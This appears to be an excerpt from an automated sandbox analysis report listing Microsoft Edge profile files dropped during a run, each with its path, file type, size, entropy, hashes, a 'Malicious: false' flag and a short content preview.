Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e089eaf1-9cfc-4e79-bbfe-ad20326329d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f564cbf2-5573-4392-b64f-5fa4dc931aee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.204441879055554
Encrypted:	false
SSDEEP:	6:iOXTZQ+q2P923oH+TcwtzjqEKj0QMxIFUtFTjdWZmw7TvQVkwO923oH+Tcwtzjqg:7Dy+v4YebvqBZFUtJ8/fYV5LYebvqBaJ
MD5:	A24FC91F55455225464D422832A0F7CB
SHA1:	B6199E7DC19B5FCAA10B4D6DB7BE6BE9419B700A
SHA-256:	802C66A164C0C7753C987C82CEA040D26C6A70E562FC24A36ADCBE7DCD2064D6
SHA-512:	1AD4E3E00E9DF34402345596ACA1FB796B1D3883E97C10C0A05C74B93666D533DF1E0EBBB4717134AE2718854DA0D757AB92923903E794269796BACAA2C8B035
Malicious:	false
Preview:	2025/02/18-02:20:14.651 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/18-02:20:14.653 1c0c Recovering log #3.2025/02/18-02:20:14.657 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.204441879055554
Encrypted:	false
SSDEEP:	6:iOXTZQ+q2P923oH+TcwtzjqEKj0QMxIFUtFTjdWZmw7TvQVkwO923oH+Tcwtzjqg:7Dy+v4YebvqBZFUtJ8/fYV5LYebvqBaJ
MD5:	A24FC91F55455225464D422832A0F7CB
SHA1:	B6199E7DC19B5FCAA10B4D6DB7BE6BE9419B700A
SHA-256:	802C66A164C0C7753C987C82CEA040D26C6A70E562FC24A36ADCBE7DCD2064D6
SHA-512:	1AD4E3E00E9DF34402345596ACA1FB796B1D3883E97C10C0A05C74B93666D533DF1E0EBBB4717134AE2718854DA0D757AB92923903E794269796BACAA2C8B035
Malicious:	false
Preview:	2025/02/18-02:20:14.651 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/18-02:20:14.653 1c0c Recovering log #3.2025/02/18-02:20:14.657 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190107633770795
Encrypted:	false
SSDEEP:	6:iOXfcf/q2P923oH+TcwtpIFUtFfcfPZmw7fcfdkwO923oH+Tcwta/WLJ:7W/v4YebmFUt0P/qd5LYebaUJ
MD5:	740BBF00E0E71DB1DAA35B2685B5604C
SHA1:	52A3190374AB45194841D4C72B19B113FDB4274C
SHA-256:	DE5C7826EBA15A0121C01E8CC22B33DCB4DDA44E4E2AAB290890892213824CFA
SHA-512:	BBD2AB9B8EB5510BD9E05E2099F0E388C86F200476FE9DB1CA1B0C21EC138F73D87FD05CBBF4C809130D09E3C36C209C822AB3006FDC0A87C64D984F82114BBE
Malicious:	false
Preview:	2025/02/18-02:19:50.899 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/18-02:19:50.900 1694 Recovering log #3.2025/02/18-02:19:50.900 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190107633770795
Encrypted:	false
SSDEEP:	6:iOXfcf/q2P923oH+TcwtpIFUtFfcfPZmw7fcfdkwO923oH+Tcwta/WLJ:7W/v4YebmFUt0P/qd5LYebaUJ
MD5:	740BBF00E0E71DB1DAA35B2685B5604C
SHA1:	52A3190374AB45194841D4C72B19B113FDB4274C
SHA-256:	DE5C7826EBA15A0121C01E8CC22B33DCB4DDA44E4E2AAB290890892213824CFA
SHA-512:	BBD2AB9B8EB5510BD9E05E2099F0E388C86F200476FE9DB1CA1B0C21EC138F73D87FD05CBBF4C809130D09E3C36C209C822AB3006FDC0A87C64D984F82114BBE
Malicious:	false
Preview:	2025/02/18-02:19:50.899 1694 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/18-02:19:50.900 1694 Recovering log #3.2025/02/18-02:19:50.900 1694 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033311577667512224
Encrypted:	false
SSDEEP:	3:ImtVuAZ+RmGwt:IiVuAAlwt
MD5:	DBFE4F510F2C4FBF9D11EB5C6E4AE2F9
SHA1:	69798DCCA18B3FF2F87254796B3C9396920E3517
SHA-256:	E3F371B93D8D863F2C4517D392E8D6311C7B8BAB0D74AD9CCE6B47905A241E65
SHA-512:	1A26E87813C756AB56F5795525D1B582B6C93D5BEA5E973EE9117AF2230D7B994A56FA017A7600A59CFE35678E454F1FEF28F2482898D89D3361A92803935281
Malicious:	false
Preview:	VLnk.....?......?......+................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265052151007677
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMlSAELyKOMq+8yC8F/YfU5m+OlTLVum+:Bq+n0Jl9ELyKOMq+8y9/OwJ
MD5:	02C39D4F305F2F42EC9091D0D8A3CE4F
SHA1:	EF6ED42D2BAB3C478BFBB2EE1EE3F69AD115D14F
SHA-256:	AD89D2C5DC633E60B61C26A0D1783B0893F7245624C708842270D8C48BA97458
SHA-512:	580D73F884F49D53F0E6BF732454A59786A38EEA268EE50BF020EA58069C1E81B8D4629234A0864F9E3B591A608861CEE458E670B73DF906885ACF75737946A9
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	1.022361657308878
Encrypted:	false
SSDEEP:	48:fK3tjkSdj5IUltGhp22iSBgt9Qd4nRqQfsRoR629Oj/:ftSjGhp22iSg9w4nSiV98
MD5:	BF7EAA33E02D523B739F9E2F61C09F9C
SHA1:	B4CDCEE29F0E2E4E1FCB855C51F2520049108096
SHA-256:	ACE96087284E82958E75A72D1B11DE990643E0843BEB0CE2AE224A9940671FE5
SHA-512:	BF044E8D12E61973F945A185C580E55F88D1EEF2E57B772EBA8BDE23FB415BCE569E5878A80735908C2404F5450989C9902FA54B9A76429D2F93C28460950179
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\af18fefe-be33-49f6-b060-00bcc65493d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23881
Entropy (8bit):	5.222391608641614
Encrypted:	false
SSDEEP:	384:st6PGQSuHsU4fhAY5bGjQPZ0daRZrBTTNvz5oLY6WmaTYB:ssOXuf4fnbGcB0daRZrVjKaTYB
MD5:	FE46F94D6E079A94E89DA4B12A420EC1
SHA1:	C5E923445FE02D9D8FE76F262ACE7187BFDA6BD9
SHA-256:	C432566140AE13F94E40AA2C708D599512630F8B319A8CE347EF115C03415849
SHA-512:	CE887FA9123AD3BF81BF3BB4F256CBF24105DA6C7E81AD21BAFAFE013E1E6A8B3C7E335F2495582397EB83BF7B04BFD1943830E35FD0CD8148477C0742B97F7E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b1445669-ba3d-4cdb-addb-e8b63a970967.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b41b2875-f1cc-4eb9-8200-6c95b0f0e3b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5614007951649596
Encrypted:	false
SSDEEP:	768:h6/4WP7pLGL7rpWPuEfLp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLtbc0MMrwgDdLu:h6/4WJc7rpWPuEfLpu1jaWtbPMlgDduj
MD5:	7F13E3B1FD13840DA772C7F5BEA4CD62
SHA1:	9D38FC3395700878AB01069CA23D427FE530CEAD
SHA-256:	95D5085255DDDF8116423A86CCCFD55616A494052F479F5523D843B40BF6CA8B
SHA-512:	5835E6B44E3A4ABDCD26EDCD33B598054ADCCF4CF312FF55DCB6EC9A93102C18E34E77A79C4ECC7720C5B3EDFF02E896FA1BAC0DD001EC00F158E02739388B44
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d7d94b35-b82f-4277-b13e-70a99781537e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24046
Entropy (8bit):	5.221065815014443
Encrypted:	false
SSDEEP:	384:st6PGQSuHsU4fhAY5bGjQPZ0daRZrBTTNvz5oLY6WulaTYB:ssOXuf4fnbGcB0daRZrVjEaTYB
MD5:	5D2807E2F60BBAB89A46DB4369B065B7
SHA1:	4C38AFAAC675089F925CDBD6291DF0F32F4199D9
SHA-256:	6E0881949857E740CB57C4150E6110C8F547272C83311BAD103F53D699083CEB
SHA-512:	542DFA030343C59D48CD2D6BC267CA18E49F3428991521CE8051013B35A180C9FB56B7A1C98E71CBA03D1775AC7E24A5CCB28CB9D961216C86FABC7984052EF2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, writer version 2, read version 2, file counter 33, database pages 37, cookie 0x7, schema 4, UTF-8, version-valid-for 33
Category:	dropped
Size (bytes):	151552
Entropy (8bit):	5.52659428611291
Encrypted:	false
SSDEEP:	1536:2gSH9oKHDcrxwQGOyWy5CryeiczjP4hBCFv+GFUBq1FK/VRHX0vrk:AHyKHDWwQGN2rjzjkBu4yFKbHX0vrk
MD5:	F9C9549A9F6075794065E156770647AF
SHA1:	103A90C2E903750F0A991274F3507CB8DB466310
SHA-256:	59872CA54D695801B77A86157375CE78F9D547EBBA1346717ACB404C4F733BA1
SHA-512:	C09DF0577954FFA243702AB473C4215C9324A67826AF4FDA500D4BBEB8187DC847D0AB376F8743973C43071A83D8E4897F71BBDD4D7408944C10673D30EFF550
Malicious:	false
Preview:	SQLite format 3......@ ...!...%...............................................................!..j..................?.P................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.5933765705878549
Encrypted:	false
SSDEEP:	48:cN/CUjbo2zO9LpxZGeUui+cguCyl6hQZ+AtOjwLE+t0oHtH42CY:cN/CUjbbzO9Lp/GeTiLdJgAtDV9T
MD5:	9A3A1A6E674F9C4E966585395F190400
SHA1:	881C866B8CD3B8EF7E3226C284D536FF3F0CF7BC
SHA-256:	E8C4B6C0D0884F9C8F6D07F250C9B90CB660D0F91C52DD1275174AC356EE6BDE
SHA-512:	F151BD83228EE3D1CB1F634BEF15A4B149F7DCB0E7E1505C6FEABDFB7CD7DCD8A5BEC8A2082280517F905EDD102C788C9E98EB78FD6BB6887CA749FA8788D4CB
Malicious:	false
Preview:	..-.............R...-........-Y..4........P......-.............R...-........-Y..4........P............N...........................................%.......................................$...%......."...$...%......."...$...%...............%...............................!...%...............................%........................... ...%...............................%...........................!..."...%......................."...$...%......................."...%...........................................................................$...%...&...............................................................%..................................."...%...&...........%...&...............%...............................................................%...............................%...............................!...%.......................$...%...&...........................................%...&...........................................................#...%...&...........................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	4144752
Entropy (8bit):	5.448436821900042
Encrypted:	false
SSDEEP:	49152:+r0rkrgrAW1rW4rzr3rirAoPbg0O0c0F0A0IrmrsZrq:4OeCAWZW6/bk5T1rxSVqAkq
MD5:	D8010A0E81E31B9CA36D1EB8188A1197
SHA1:	FB618741462709777B03034BE0451AEB57018BB7
SHA-256:	475845DE97BFB70108A68CDDC56457BE0089954B51CE2078F443C70613691B2A
SHA-512:	C20B7003659868ED686C7A6492959BDC86C64EDBA2C530BF8635F9E9FA56025151B389CEB430338DC540EBAE9076BDD97376B3BD876A0F43BC148E558DAEE6D2
Malicious:	false
